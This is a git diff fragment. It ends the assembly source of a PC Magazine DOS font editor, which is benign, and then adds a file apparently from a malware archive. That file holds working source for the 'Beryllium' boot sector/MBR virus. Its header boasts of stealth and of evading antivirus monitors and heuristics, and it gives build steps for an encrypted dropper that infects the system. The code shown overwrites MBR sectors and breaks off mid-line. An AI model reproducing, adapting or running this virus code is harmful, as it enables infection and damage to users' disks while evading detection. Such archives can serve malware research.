+DUP_ROW: MOV BL,-1 ;Insert a duplicate byte. +INS_EDIT: CALL GET_CURSOR ;Is cursor in character box? + JNZ INSERT_END ;If yes, ignore. + MOV BH,AH ;Row to be inserted. + INC BH ;Adjust. + MOV BP,POINTS ;Retrieve bytes/char. + CMP BP,MAX_LINES ;Character maxed out? + JZ INSERT_END ;If yes, done here. + STD ;Else, backward moves. + MOV SI,OFFSET EDIT_FONT ;Insert a row. + CALL INSERT + MOV SI,OFFSET TEMPLATE_FONT ;Do same to template font. + CALL INSERT + + CLD ;String operation back forward. + MOV BX,BP ;Increment bytes/character. + MOV BH,BL + INC BH + MOV BP,OFFSET EDIT_FONT ;Load the new font. + CALL USER_LOAD + CALL INFORMATION ;Get font information. + MOV MODIFY_FLAG,1 ;Note that font's been modified. + CALL SETUP_END ;Display new font. +INSERT_END: RET + +;-----------------; + +INSERT: MOV AX,BP ;Go to end of font + MOV CX,256 ; (256 * points) - 1 + MUL CX + DEC AX + ADD SI,AX + MOV DI,SI + ADD DI,CX ;New font = old font + 256. + +NEXT_INSERT: PUSH CX ;Save character count. + MOV CX,BP ;Retrieve bytes/char. +MOVE_BYTE: MOVSB ;Move a byte. + CMP CL,BH ;Is there an insert row? + JNZ LOOP_INSERT + MOV AL,BL ;If yes, assume zero insert. + OR BL,BL ;Is zero to be inserted? + JZ INSERT_IT ;If yes, guessed right. + MOV AL,[SI+1] ;Else, duplicate with byte below. +INSERT_IT: STOSB ;Insert it. +LOOP_INSERT: LOOP MOVE_BYTE ;Do all bytes/char. + POP CX + LOOP NEXT_INSERT ;Do all 256 characters. + RET + +;--------------------------------; + +COPY_TEMP: CALL GET_PIXEL ;Get index to current char. + MOV DI,SI ;Destination = Source+(16 * 256). + ADD SI,MAX_POINTS * 256 + MOV CX,POINTS ;Bytes/character to copy. + REP MOVSB ;Copy them. + CALL SETUP_END ;Update the display. + CALL LOAD_CHAR ;Load the new character. + RET + +;--------------------------------; + +SAVE: CMP FILE_FLAG,1 ;Is there a filename? + JZ SAVE_IT ;If yes, save it. + CALL CLS ;Else, clear screen. + CALL GET_NAME ;Get a filename. + PUSHF ;Save results. + CALL DISPLAY_HEAD ;Redisplay menu. + POPF ;Retrieve results. + JC SAVE_END ;If user aborted, skip save. +SAVE_IT: CALL SAVE_FILE ;Save the file. +SAVE_END: RET + +;*********** END OF COMMAND PROCESSING ROUTINES ***********; + +;---------------------------; +; OUTPUT ; +; If Edit cursor, ZF = 1 ; +; If Char cursor, ZF = 0 ; +; DX = cursor position. ; +; AX = relative position. ; +;---------------------------; + +GET_CURSOR: MOV AX,EDIT_CURSOR ;Assume edit cursor; retrieve it. + MOV DX,AX ;Cursor position = relative + ADD DX,EDIT_TOP ; position + top left of edit box + CMP EDIT_FLAG,1 ;Are we in edit box? + JZ CURSOR_END ;If yes, guessed right. + MOV AX,CHAR_CURSOR ;Else, retrieve char. cursor. + MOV DX,AX ;Calculate cursor position. + ADD DX,CHAR_TOP + +CURSOR_END: RET + +;---------------------------------------------------; +; Return highlighted cursor position to background. ; +;---------------------------------------------------; + +RESTORE: MOV BL,ATTRIBUTE ;Background attribute. + CALL GET_CURSOR ;Is cursor in character box? + JNZ CHAR_RESTORE ;If yes, restore char box. + CALL GET_PIXEL ;Else, get pixel and write. + CALL WRITE_PIXEL + RET + +CHAR_RESTORE: CALL GET_CHAR ;Get character and write. + CALL WRITE_CHAR + RET + +;--------------------------------; +; Highlight new cursor position. ; +;--------------------------------; + +UPDATE_CURSOR: MOV BL,ATTRIBUTE ;Retrieve background attribute. + OR BL,INTENSITY ;Turn on intensity bit. + CALL GET_CURSOR ;Is cursor in character box? + JNZ DO_CHAR ;If yes, do character cursor. + +FONT_CURSOR: CALL GET_PIXEL ;Else, get pixel and write it. + CALL WRITE_PIXEL + RET + +DO_CHAR: CALL GET_CHAR ;Retrieve character. + MOV DI,OFFSET BLANKS ;Use inverse video for invisible + MOV CX,3 ; characters 0, 32 and 255. + REPNZ SCASB + JNZ DO_CURSOR + MOV BL,INVERSE + +DO_CURSOR: CALL WRITE_CHAR ;Update the character cursor. + RET + +;-----------------------------------; +; INPUT ; +; AX = Relative cursor position. ; +; DX = Actual cursor position. ; +; CX = Direction. ; +; ; +; OUTPUT ; +; DX = New cursor position. ; +; AX = New cursor position. ; +; BX preserved. ; +;-----------------------------------; + +CK_BOUNDS: ADD DH,CH ;Add row direction + ADD DL,CL ; and column direction. + PUSH BX ;Save BX. + MOV BL,16 ;Use 16 as bounds for char. + CMP EDIT_FLAG,1 ; box bottom. + JNZ CK_LEFT ;Use bytes/char bounds for edit + MOV BX,POINTS ; box bottom. + +CK_LEFT: ADD AL,CL ;Add column to relative pos. + JGE CK_RIGHT + ADD DL,16 ;If too far left, + JMP SHORT BOUNDS_END ; wrap to right. + +CK_RIGHT: CMP AL,16 ;If too far right, + JB CK_UP + SUB DL,16 ; wrap to left. + +CK_UP: ADD AH,CH ;Add row to relative position. + JGE CK_DOWN + ADD DH,BL ;If too far up, + JMP SHORT BOUNDS_END ; wrap to bottom + +CK_DOWN: CMP AH,BL ;If too far down, + JB BOUNDS_END ; wrap to top. + MOV DH,EDIT_ROW + +BOUNDS_END: MOV AX,DX ;Return copy of cursor position. + POP BX ;Restore BX. + RET + +;----------------------------------; +; INPUT ; +; AX = Relative cursor position. ; +; ; +; OUTPUT ; +; AL = character. ; +;----------------------------------; + +GET_CHAR: MOV CL,4 ;Character = row * 16 + column. + SHL AH,CL + ADD AL,AH + RET + +;-------------------; +; Font information. ; +;-------------------; + +INFORMATION: MOV BH,2 ;Get information. + MOV AX,1130H + INT 10H + PUSH CS ;Restore extra segment. + POP ES + MOV POINTS,CX ;Store bytes/character. + MOV ROWS,DL ;Store rows on screen. + RET + +;----------------------------------------------------------------; +; Filename is parsed of white space and COM extension tacked on. ; +;----------------------------------------------------------------; + +PARSE_FILE: MOV SI,81H ;Point to parameter. +NEXT_PARSE: LODSB ;Get a byte. + CMP AL,SPACE ;Is it leading space? + JZ NEXT_PARSE ;If yes, ignore. + CMP AL,TAB_CHAR ;Is it leading tab? + JZ NEXT_PARSE ;If yes, ignore. + DEC SI ;Adjust pointer. + MOV FILENAME,SI ;Store start of filename. + +FIND_END: LODSB ;Get a byte. + CMP AL,SPACE ;Is it space or below? + JBE PARSE_END ;If yes, end of filename. + CMP AL,"a" ;Capitalize. + JB CK_DOT + CMP AL,"z" + JA CK_DOT + AND BYTE PTR [SI-1],5FH +CK_DOT: CMP AL,"." ;Is it a dot? + JNZ FIND_END ;If no, continue. +PARSE_END: MOV DI,SI ;Else, if dot or end of filename + DEC DI ; tack on ".COM". + MOV SI,OFFSET COM + MOV CX,5 + REP MOVSB + RET + +;-----------------------------; +; OUTPUT ; +; If file exists, CY = 0 ; +; If file not found, CY = 1 ; +;-----------------------------; + +OPEN_FILE: MOV DX,FILENAME + MOV AX,3D02H ;Open file for reading, writing. + INT 21H +SAVE_HANDLE: MOV FILE_HANDLE,AX ;Save filehandle. + MOV BX,AX + RET + +;------------------------; +; OUTPUT ; +; If successful CY = 0 ; +; If failed CY = 1 ; +;------------------------; + +CREATE_FILE: MOV DX,FILENAME + XOR CX,CX ;Create normal file. + MOV AH,3CH + INT 21H + JC CREATE_END + CALL SAVE_HANDLE ;If successful, save filehandle + CALL SAVE_FILE ; and save font file. +CREATE_END: RET + +;-----------------------------------------------------------------------; +; Read the parsed file. Check if legitimate font file. Load the font. ; +;-----------------------------------------------------------------------; + +READ_FILE: MOV BX,FILE_HANDLE ;Retrieve filehandle. + MOV DX,OFFSET LOADER ;Point to loader. + MOV CX,LOADER_LENGTH ;Bytes to read. + MOV AH,3FH ;Read from disk. + INT 21H + MOV SI,OFFSET PROGRAMMER1 ;Use name as legitimate font + MOV DI,OFFSET PROGRAMMER2 ; file signature. + MOV CX,SIGNATURE_LEN / 2 + REPZ CMPSW + JZ READ_END + CALL DISP_FILENAME + MOV DX,OFFSET NOT_FONT_MSG ;If not font file, exit + JMP ERROR_MSG ; with message. + +READ_END: MOV FILE_FLAG,1 ;Else, note that filename found. + PUSH BX ;Save filehandle. + MOV BP,OFFSET EDIT_FONT ;Point to font. + MOV BH,BYTE PTR POINTS ;Bytes/character. + CALL USER_LOAD ;Load the font. + CALL INFORMATION ;Get font information. + POP BX ;Retrieve filehandle. + +;--------------------------------; + +CLOSE_FILE: MOV AH,3EH + INT 21H + RET + +;--------------------------------; + +SAVE_FILE: CALL OPEN_FILE ;Open the file and write + MOV DX,OFFSET LOADER ; font image and loader to disk. + MOV CX,LOADER_LENGTH + MOV AH,40H + INT 21H + MOV MODIFY_FLAG,0 ;Reset modify flag. + MOV FILE_FLAG,1 ;Note that have a filename. + JMP SHORT CLOSE_FILE + +;-------------------------------; +; INPUT ; +; SI = first string to write. ; +; ; +; OUTPUT ; +; If "Y"es pressed, ZF = 1 ; +; Else, ZF = 0 ; +;-------------------------------; + +PROMPT: CALL TTY_STRING ;Write preface string. + CALL DISP_FILENAME ;Write filename. +QUERY: MOV SI,OFFSET YES_NO ;Write query string. + CALL TTY_STRING + CALL GET_KEY ;Get a response. + CMP AH,Y_SCAN ;Check if "Y" pressed. + RET + +;-------------------------------; +; OUTPUT ; +; If name valid, CY = 0 ; +; If invalid or abort, CY = 1 ; +;-------------------------------; + +GET_NAME: MOV DX,OFFSET FILENAME_MSG ;Ask for filename. + CALL PRINT_STRING + MOV DI,81H ;Use PSP's DTA for input. +NEXT_NAME: CALL GET_KEY ;Get a keystroke. + CMP AH,ESC_SCAN ;Esc? + STC + JZ NAME_END ;If yes, abort with CY = 1. + CMP AH,LEFT_ARROW ;Backspace with left arrow + JZ DO_BS ; or backspace key. + CMP AH,BS_SCAN + JZ DO_BS + CMP AH,ENTER_SCAN ;If Enter key, done here. + JZ STORE_BYTE + CMP AL,SPACE ;Ignore space and below. + JBE NEXT_NAME + JMP SHORT STORE_BYTE + +DO_BS: DEC DI ;TTY Backspace = the characters + MOV AL,8 ; 8, space and 8. + PUSH AX + CALL WRITE_TTY + MOV AL,SPACE + CALL WRITE_TTY + POP AX + JMP SHORT DISPLAY_BYTE + +STORE_BYTE: STOSB + CMP AH,ENTER_SCAN ;Done if Enter. + JZ PARSE_IT +DISPLAY_BYTE: CALL WRITE_TTY ;Echo input to screen. + JMP SHORT NEXT_NAME + +PARSE_IT: CALL PARSE_FILE ;Parse the filename. + CALL OPEN_FILE ;See if it exists. + JC CREATE_IT ;If no, create it. + MOV SI,OFFSET EXIST_MSG ;Else, ask if should write + CALL PROMPT ; over existing file. + JNZ GET_NAME + +CREATE_IT: CALL CREATE_FILE ;Create the file. + JNC NAME_END + MOV DX,OFFSET FAILED_MSG ;If failed, inform user + CALL PRINT_STRING ; and ask for new filename. + JMP SHORT GET_NAME +NAME_END: RET + +;--------------------------------------; +; OUTPUT ; +; AH = Bit mask ; +; AL = PIXEL_ON or PIXEL_OFF ; +; SI = Pointer to start of Character ; +; DI = Pointer to start of Scan Line ; +; PIXEL = 0 or -1 ; +;--------------------------------------; + +GET_PIXEL: MOV SI,OFFSET EDIT_FONT ;Point to start of edit font. + CALL CHAR_START ;Index to current character. + MOV DI,SI ;Also into DI. + MOV CX,EDIT_CURSOR ;Retrieve edit cursor. + SHR CL,1 ;Two col/bit so divide by two. + MOV AH,10000000B ;Bit starts in most significant. + SHR AH,CL ;Shift bit to column position. + MOV CL,CH ;Row in CL. + XOR CH,CH ;Zero in high half. + ADD DI,CX ;Add to character start. + MOV CL,[DI] ;Retrieve the current byte. + MOV AL,PIXEL_OFF ;Assume it is off. + MOV LAST_PIXEL,0 + AND CL,AH ;AND with bit mask. + JZ END_PIXEL ;If off, guessed right. + MOV AL,PIXEL_ON ;Else, pixel is on. + MOV LAST_PIXEL,-1 +END_PIXEL: RET + +;--------------------------------; + +WRITE_PIXEL: CALL WRITE_CHAR ;Two characters/pixel. + INC DL + CALL WRITE_CHAR + INC DL + RET + +;----------------------------; +; INPUT ; +; SI = Font start. ; +; ; +; OUTPUT ; +; AX = Edit character. ; +; SI = Start of character. ; +;----------------------------; + +CHAR_START: MOV CX,POINTS ;Retrieve bytes/character. + MOV AL,EDIT_CHAR ;Retrieve edit character. + XOR AH,AH ;Zero in high half. + PUSH AX ;Preserve character. + MUL CL ;Char start = bytes/char * char. + ADD SI,AX ;Add to index. + POP AX ;Retrieve character. + RET + +;--------------------------------------------; +; OUTPUT ; +; AH = ASCII character. ; +; AL = Scan code. ; +; BUTTONS = button pressed. ; +; SHIFT_STATE = Shift or button depressed. ; +;--------------------------------------------; + +GET_INPUT: XOR BP,BP ;Store input in BP; start with 0. + MOV SHIFT_STATE,0 ;Zero in Shift state. + MOV BUTTONS,0 ;Zero in Buttons also. + CMP MOUSE_FLAG,1 ;Is the mouse active? + JNZ CK_KEYBOARD ;If no, skip mouse poll. + + XOR BX,BX ;Left button. + MOV AX,5 ;Button press information. + INT 33H + OR SHIFT_STATE,AL ;Store button depressed info. + OR LEFT_BUTTON,BL ;Store button press info. + MOV BX,1 ;Do same for right button. + MOV AX,5 + INT 33H + OR RIGHT_BUTTON,BL ;Store button pressed info. + CMP BUTTONS,0 ;Any button pressed? + JNZ INPUT_END ;If yes, done here. + +MOUSE_MOTION: MOV AX,0BH ;Read mouse motion. + INT 33H + ADD CX,HORIZONTAL ;Add in last horizontal motion. + ADD DX,VERTICAL ; and last vertical motion. + MOV AX,MICKEY ;Retrieve mouse unit of motion. + + MOV SI,RIGHT_ARROW ;Assume right movement. + CMP CX,AX ;Is horizontal > mickey? + JG HORIZ ;If yes, guessed right. + MOV SI,DN_ARROW ;Assume down movement. + CMP DX,AX ;Is vertical > mickey? + JG VERT ;if yes, guessed right. + + NEG AX ;Else, negate mickey. + MOV SI,LEFT_ARROW ;Assume left movement. + CMP CX,AX ;Is horizontal < mickey? + JL HORIZ ;If yes, guessed right. + MOV SI,UP_ARROW ;Assume up movement. + CMP DX,AX ;Is vertical < mickey? + JGE STORE_MOTION ;If yes, guessed right. + +VERT: SUB DX,AX ;Subtract vertical mickey. + JMP SHORT STORE_SCAN ;Update vertical. + +HORIZ: SUB CX,AX ;Subtract horizontal mickey. + +STORE_SCAN: MOV BP,SI ;Store scan code in BP. +STORE_MOTION: MOV HORIZONTAL,CX ;Update movements. + MOV VERTICAL,DX + +CK_KEYBOARD: MOV AH,2 ;Keyboard Shift state. + INT 16H + AND AL,SHIFT_KEYS ;Mask off all but Shift keys. + OR SHIFT_STATE,AL ;Store Shift state. + + MOV AH,1 ;Keystroke status. + INT 16H + JZ STORE_INPUT ;If none available, done here. + CALL GET_KEY ;Else, get keystroke + XCHG AL,AH ;Exchange scan/ASCII code. + JMP SHORT INPUT_END + +STORE_INPUT: MOV AX,BP ;Return input in AX + OR AX,AX ;Is there input? + JNZ INPUT_END ;If yes, done here. + CMP BUTTONS,0 ;Is there button pressed? + JNZ INPUT_END ;If yes, done here. + JMP GET_INPUT ;Else, wait until input. +INPUT_END: RET + +;--------------------------------; + +DISPLAY_FONT: MOV AL,ROWS ;Retrieve rows on screen. + INC AL ;Zero based; adjust. + MOV DX,34EH ;Display at Row 2; Col. 77. + MOV CX,3 ;Three bytes to write. + MOV BL,ATTRIBUTE ;Use background attribute. + CALL DIVIDE ;Display the number. + + MOV DX,BOX_TOP + 103H ;Point to inside of info box. + MOV AL,EDIT_CHAR ;Retrieve character. + CALL WRITE_CHAR ;Display it. + + ADD DL,7 ;Move to end of number col. + MOV CX,3 ;Three bytes to write. + CALL DIVIDE ;Display the number. + + MOV BP,TEMPLATE_TOP ;Display template character. + MOV SI,OFFSET TEMPLATE_FONT + CALL UPDATE_FONT + + MOV BP,EDIT_TOP ;Display edit character. + MOV SI,OFFSET EDIT_FONT + +UPDATE_FONT: CALL CHAR_START ;Retrieve index to character. + +NEXT_LINE: LODSB ;Get a byte. + MOV AH,AL ;Store in AH. + MOV DI,AX ;Store in DI. + PUSH CX ;Preserve bytes/char. + MOV CX,8 ;Eight bits/byte. + MOV DX,BP ;Top left of font display. + +NEXT_PIXEL: RCL DI,1 ;Get a bit. + MOV AL,PIXEL_ON ;Assume it's on. + JC DISPLAY_IT ;Did bit end up in carry flag? + MOV AL,PIXEL_OFF ;If no, guessed wrong; pixel off. + +DISPLAY_IT: CALL WRITE_PIXEL ;Display the pixel. + LOOP NEXT_PIXEL ;Do all 8 pixels. + + ADD BP,100H ;Next display row. + POP CX ;Retrieve bytes/char. + LOOP NEXT_LINE ;Do all rows. + RET + +;---------------------------; +; INPUT ; +; Entry point = DIVIDE. ; +; AL = Number to display. ; +; BL = Attribute. ; +; CX = Places to display. ; +; DX = Cursor position. ; +;---------------------------; + +NEXT_COUNT: MOV AH,SPACE ;Assume zero. + OR AL,AL ;Is it a zero? + JZ ASCII ;If yes, display space instead. +DIVIDE: MOV BH,10 ;Divisor of ten. + XOR AH,AH ;Zero in high half. + DIV BH ;Divide by ten. + ADD AH,"0" ;Convert to ASCII. +ASCII: XCHG AL,AH ;Remainder in AL. + CALL WRITE_CHAR ;Display it. + XCHG AL,AH ;Back to AH. + DEC DL ;Move back one column. + LOOP NEXT_COUNT ;Display all three bytes. + RET + +;---------------------; +; INPUT ; +; AL = Character ; +; BL = Attribute ; +; AX, CX preserved. ; +;---------------------; + +WRITE_CHAR: PUSH AX + PUSH CX + CALL SET_CURSOR + MOV CX,1 + MOV AH,9 ;Write attribute/character. + INT 10H + POP CX + POP AX + RET + +;------------------------------------------------------------------------------; +; The Ega/Vga registers are programmed to access segment A000h where the ; +; fonts are stored. The font is retrieved and registers reset back to normal. ; +;------------------------------------------------------------------------------; + +RETRIEVE_FONT: MOV SI,OFFSET ACCESS_A000H ;Point to access parameters. + CALL SET_REGISTERS ;Set the registers. + + MOV BX,POINTS ;Retrieve bytes/character. + MOV AX,0A000H ;Point to font segment. + MOV DS,AX + MOV DI,OFFSET EDIT_FONT ;Point to destination. + MOV BP,256 ;256 characters. + XOR DX,DX ;Source starting offset of zero. + +NEXT_CHAR: MOV SI,DX ;Point to source. + MOV CX,BX ;Bytes/character. + REP MOVSB ;Retrieve the bytes. + ADD DX,20H ;Next character two paragraphs. + DEC BP ;Do all 256 characters. + JNZ NEXT_CHAR + + PUSH CS ;Restore data segment. + POP DS + + MOV SI,OFFSET EDIT_FONT ;Copy the edit font to template. + MOV DI,OFFSET TEMPLATE_FONT + MOV CX,MAX_POINTS * 256 / 2 + REP MOVSW + + MOV SI,OFFSET PROTECT_A000H ;Point to normal parameters. + +SET_REGISTERS: MOV CX,2 ;Two sequencer registers. + MOV DX,3C4H ;Indexing register. + CALL NEXT_REGISTER + + MOV CX,3 ;Three graphics controller regs. + MOV DL,0CEH ;Indexing registers. +NEXT_REGISTER: LODSB ;Get index. + OUT DX,AL + INC DX + LODSB ;Get value. + OUT DX,AL + DEC DX + LOOP NEXT_REGISTER + RET + +;-----------------------------------------------------; +; Similar to RETRIEVE_FONT procedure except character ; +; is uploaded instead of entire font down loaded. ; +;-----------------------------------------------------; + +LOAD_CHAR: MOV SI,OFFSET ACCESS_A000H + CLI + CALL SET_REGISTERS + MOV SI,OFFSET EDIT_FONT ;Point to character + CALL CHAR_START ; to upload. + PUSH CX ;Preserve bytes/char. + MOV CL,5 ;32 bytes record for A000h font. + SHL AX,CL ;Index to appropriate character. + MOV DI,AX + POP CX + MOV AX,0A000H ;Point to font segment. + MOV ES,AX + REP MOVSB ;Upload the bytes. + PUSH CS ;Restore extra segment. + POP ES + MOV SI,OFFSET PROTECT_A000H + CALL SET_REGISTERS + STI + MOV MODIFY_FLAG,1 ;Note that font modified. + RET + +;--------------------------------; + +SET_CURSOR: PUSH AX + XOR BH,BH + MOV AH,2 ;Set cursor position. + INT 10H + POP AX + RET + +;--------------------------------; + +HIDE_CURSOR: MOV DH,ROWS + INC DH + XOR DL,DL ;Hide cursor one row below + CALL SET_CURSOR ; displayable rows. + RET + +;--------------------------------; + +CLEAR_MENU: MOV CX,100H ;Row 1; column zero. + MOV DX,34FH ;Row 3; column 79. + JMP SHORT SCROLL + +CLS: XOR CX,CX ;Row zero; column zero. + MOV DH,ROWS ;Rows. + MOV DL,79 ;Column 79. +SCROLL: MOV BH,7 ;Attribute. + MOV AX,600H ;Scroll window of active page. + INT 10H + + XOR DX,DX + CALL SET_CURSOR + RET + +;--------------------------------; + +GET_KEY: XOR AH,AH + INT 16H + RET + +;--------------------------------; + +PRINT_STRING: MOV AH,9 + INT 21H + RET + +;--------------------------------; + +DISP_FILENAME: MOV SI,FILENAME + JMP SHORT TTY_STRING + +;-----------------; + +DO_WRITE: CALL WRITE_TTY +TTY_STRING: LODSB + OR AL,AL + JNZ DO_WRITE + RET + +;-----------------; + +WRITE_TTY: MOV AH,0EH + INT 10H + RET + +;--------------------------------; + +DO_CHAR_ATTR: CALL WRITE_CHAR + INC DL +CHAR_ATTRIB: LODSB + OR AL,AL + JNZ DO_CHAR_ATTR + RET + +;--------------------------------; + +SETUP: CLI ;No interrupts. + CALL RETRIEVE_FONT ;Retrieve font. + STI ;Interrupts back on. + CMP BYTE PTR DS:[80H],0 ;Command line parameter? + JZ CK_MOUSE ;If no, skip to mouse. + CALL PARSE_FILE ;Else, parse the parameter. + CALL OPEN_FILE ;Try to open the file. + JC CREATE_PROMPT ;If not found, ask to create. + CALL READ_FILE ;Else, read the file. + JMP SHORT CK_MOUSE ;Done here. + +CREATE_PROMPT: MOV SI,OFFSET CREATE_MSG ;Display create query. + CALL PROMPT + JZ CREATE ;If got thumbs up, create it. + JMP ERROR_EXIT ;Else, exit. + +CREATE: CALL CREATE_FILE ;Create the file. + MOV DX,OFFSET FAILED_MSG ;If failed, exit with message. + JNC CK_MOUSE + JMP ERROR_MSG + +CK_MOUSE: XOR AX,AX ;Mouse reset and status. + INT 33H + OR AX,AX ;Is mouse active? + JZ DISPLAY_HEAD ;If no, skip. + MOV MOUSE_FLAG,1 ;Else, flag. + +DISPLAY_HEAD: CALL CLS ;Clear the screen. +DISPLAY_COPY: MOV SI,OFFSET COPYRIGHT ;Display copyright in + MOV BL,INVERSE ; inverse video. + CALL CHAR_ATTRIB + + MOV DX,100H ;Row 1; column 0. + CALL SET_CURSOR + MOV DX,OFFSET MENU ;Display menu. + CALL PRINT_STRING + CMP FILE_FLAG,1 ;If filename, display it. + JNZ DISPLAY_MENU + CALL DISP_FILENAME + +DISPLAY_MENU: MOV DX,200H ;Row 2; column 0. + CALL SET_CURSOR + MOV DX,OFFSET MENU1 ;Display more menu. + CALL PRINT_STRING + + MOV SI,OFFSET MENU2 + MOV BL,NORMAL + MOV DX,436H + CALL CHAR_ATTRIB + MOV DX,536H + CALL CHAR_ATTRIB + MOV DX,636H + CALL CHAR_ATTRIB + + MOV SI,OFFSET CAPTIONS ;Display three captions. + MOV CX,3 + +NEXT_CAPTION: LODSW + MOV DX,AX ;Caption starting cursor pos. +NEXT_CAP: LODSB + CMP AL,0 ;End of string? + JZ END_CAPTION + CALL WRITE_CHAR ;Write the caption. + INC DH ;Next row. + JMP SHORT NEXT_CAP +END_CAPTION: LOOP NEXT_CAPTION ;Do all three captions. + + MOV BL,ATTRIBUTE ;Background attribute. + MOV SI,OFFSET CURRENT_BOX ;Display char/ASCII box. + MOV DX,BOX_TOP ;Starting position. + MOV BP,3 ;Three rows. +NEXT_BOX: MOV CX,13 ;13 characters/row. +NEXT_BOX_CHAR: LODSB + CALL WRITE_CHAR + INC DL ;Next column. + LOOP NEXT_BOX_CHAR + MOV DL,LOW BOX_TOP ;Starting column. + INC DH ;Next row. + DEC BP + JNZ NEXT_BOX + + MOV DX,CHAR_TOP ;Display character set. + XOR AL,AL ;Start with ASCII zero. +NEXT_SET: MOV CX,16 ;16 bytes/row. +NEXT_BYTE: CALL WRITE_CHAR + INC AL ;Next character. + JZ SETUP_END + INC DL ;Next row. + LOOP NEXT_BYTE + MOV DL,LOW CHAR_TOP ;Starting column. + INC DH + JMP NEXT_SET + +SETUP_END: CALL DISPLAY_FONT ;Display the edit and template. + CALL UPDATE_CURSOR ;Display the cursor. + RET + +;**************** FONTLOADER ****************; +; This is the code to load the font and ; +; is followed by the edit and template font ; +;********************************************; + +LOADER LABEL BYTE +LOADER_OFFSET EQU 100H - LOADER + + JMP BEGINNING + +; DATA AREA +; --------- + DB CR,SPACE,SPACE,SPACE,CR,LF + +PROGRAMMER2 DB " PC Magazine ",BOX," Michael J. Mefford",0,CTRL_Z +SIGNATURE_LEN EQU $ - PROGRAMMER2 + +CRT_MODE DB ? +EDIT_CURSOR DW 102H +CHAR_CURSOR DW 401H +EDIT_CHAR DB 65 +POINTS DW ? +EDIT_FLAG DB 1 + +; CODE AREA +; --------- + +BEGINNING: MOV AX,500H ;Active page zero + INT 10H + + MOV AH,0FH ;Current video state. + INT 10H + MOV DI,OFFSET CRT_MODE + LOADER_OFFSET ;Font CRT_MODE. + MOV AH,[DI] + CMP AL,AH ;Same mode? + JZ LOAD_FONT ;If yes, skip. + MOV AL,AH ;Else, change video mode. + XOR AH,AH + INT 10H + +LOAD_FONT: MOV BP,OFFSET EDIT_FONT + LOADER_OFFSET + MOV DI,OFFSET POINTS + LOADER_OFFSET + MOV BH,[DI] +USER_LOAD: MOV CX,256 + XOR DX,DX + XOR BL,BL + MOV AX,1110H ;User alpha load. + INT 10H + RET ;Terminate. + +;--------------------------------; + +EVEN +EDIT_FONT LABEL BYTE +TEMPLATE_FONT EQU EDIT_FONT + MAX_POINTS * 256 +LOADER_END EQU TEMPLATE_FONT + MAX_POINTS * 256 +LOADER_LENGTH EQU LOADER_END - LOADER + +_TEXT ENDS + END START + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.berylium.a86 b/MSDOS/Virus.MSDOS.Unknown.berylium.a86 new file mode 100644 index 00000000..b7f7c67e --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.berylium.a86 @@ -0,0 +1,422 @@ +;============================================================================= +; Virus Name: Beryllium +; +; Notes: +; - resident, stealth, boot sector/MBR infector +; - places only 22 bytes of benign code in a boot sector or MBR +; thereby totally avoiding heuristic alarms even when the virus +; is not resident to provide stealth +; - resident virus not detected by F-Prot Virstop due to a +; "password" located at installed virus offset 102h +; - detects the presence of A-V monitors and deactivates while +; they are present +; - MBR and floppy boot sector stealth +; - post-infection MBR write protection +; - functionally infects all floppy formats in drives A and B +; +; To Compile: +; - use shareware A86 assembler +; - type "a86 berylium.a86" +; - run the berylium.com file +; - encrypted dropper is produced as "dropbery.com" +; - if you desire to infect your system, run dropbery.com +;============================================================================= + +boot equ 06ad ;delta offset for boot location +drop equ 041 ;delta offset for drop of virus +res equ 0153 ;delta offset for resident location +oldlength equ 016 ;infection code length (boot sector) +virus_tag1 equ 0c033 ;infection tag (main body code) +virus_tag2 equ 0ea ;infection tag (boot sector code) + +;----------------------------------------------------------------------------- +; Encrypt - encrypts dropper and creates dropper file +;----------------------------------------------------------------------------- + +encrypt: + mov bx,offset dropper ;starting point for encryption + mov cl,04 ;set shift/rotate count + +scramble_it: + mov ax,[bx] ;move target word into ax + rol ax,cl ;rotate word left "cl" positions + mov [bx],ax ;move word back to memory + inc bx ;point to next byte + cmp bx,offset MBR_buffer-2 ;end of code to encrypt? + jbe scramble_it ;if not, do it again + + mov ah,03c ;create file function + xor cx,cx ;attribute = 0 = read/write + mov dx,offset file_name ;point to ASCIIZ file name string + int 021 ;create file + jc exit_encrypt ;if flag=fail, exit + + mov bx,ax ;load bx with new file's handle + + mov ah,040 ;write to file with handle + mov cx,droplength ;number of bytes to write + mov dx,offset decrypt ;pointer to data to write + int 021 ;write encrypted dropper + jc exit_encrypt ;if flag=fail, exit + + mov ah,03e ;close file + int 021 + +exit_encrypt: + mov ax,04c00 ;terminate w/return code + int 021 ;terminate program + +file_name db "dropbery.com",0 ;ASCIIZ dropper file name + +;----------------------------------------------------------------------------- +; Decrypt - decrypts dropper using a method not currently recognized as +; hostile by heuristic scanners +;----------------------------------------------------------------------------- + +decrypt: + mov bx,offset MBR_buffer-drop-2 ;starting point for decryption + mov cl,04 ;set shift/rotate count + +unscramble_it: + mov ax,[bx] ;move target word into ax + ror ax,cl ;rotate word right "cl" positions + mov [bx],ax ;move word back to memory + dec bx ;point to next byte + cmp bx,offset dropper-drop ;end of code to decrypt? + jae unscramble_it ;if not, do it again + +;----------------------------------------------------------------------------- +; Dropper - infects MBR if not already infected and if no A-V monitor program +; is present +;----------------------------------------------------------------------------- + +dropper: + push ds ;preserve ds + + xor ax,ax ;zero ax + mov ds,ax ;point data seg. to interrupt vector + ; table + cmp byte ptr [040*4+3],0c0 ;int40 segment pointing to ROM? + pop ds ;restore ds + jb exit_dropper ;if not, do not attempt to infect MBR + + mov ah,035 ;load ah with installation check byte + int 013 ;check for installed virus + cmp al,ah ;al = ah? + je exit_dropper ;if so, already installed, so MBR must + ; already be infected +drop_it: + mov ax,0201 ;select read-one-sector function + mov bx,offset MBR_buffer-drop ;set load offset + mov cx,02 ;cylinder 0, sector 2 + mov dx,080 ;fixed disk 0 (C) + int 013 ;load to buffer + jc exit_dropper ;if flag=fail, exit + + cmp word ptr [bx+070],virus_tag1 ;beryllium code present? + je exit_dropper ;if so, exit dropper + + mov cx,virlength ;set move count + mov si,offset beryllium-drop ;set source address of virus code + lea di,[bx+070] ;set destination within buffer + rep movsb ;infect sector in memory + + mov ax,0301 ;write infected sector to + mov cl,02 ; cylinder 0, sector 2 + int 013 + jc exit_dropper ;if flag=fail, exit + + mov ax,0201 ;read original MBR + dec cx ; from cylinder 0, sector 1 + int 013 + jc exit_dropper ;if flag=fail, exit + + mov ax,0301 ;write original MBR + mov cl,03 ; to cylinder 0, sector 3 + int 013 + jc exit_dropper ;if flag=fail, exit + + mov byte ptr [offset head-drop],dh ;save location (head & + mov byte 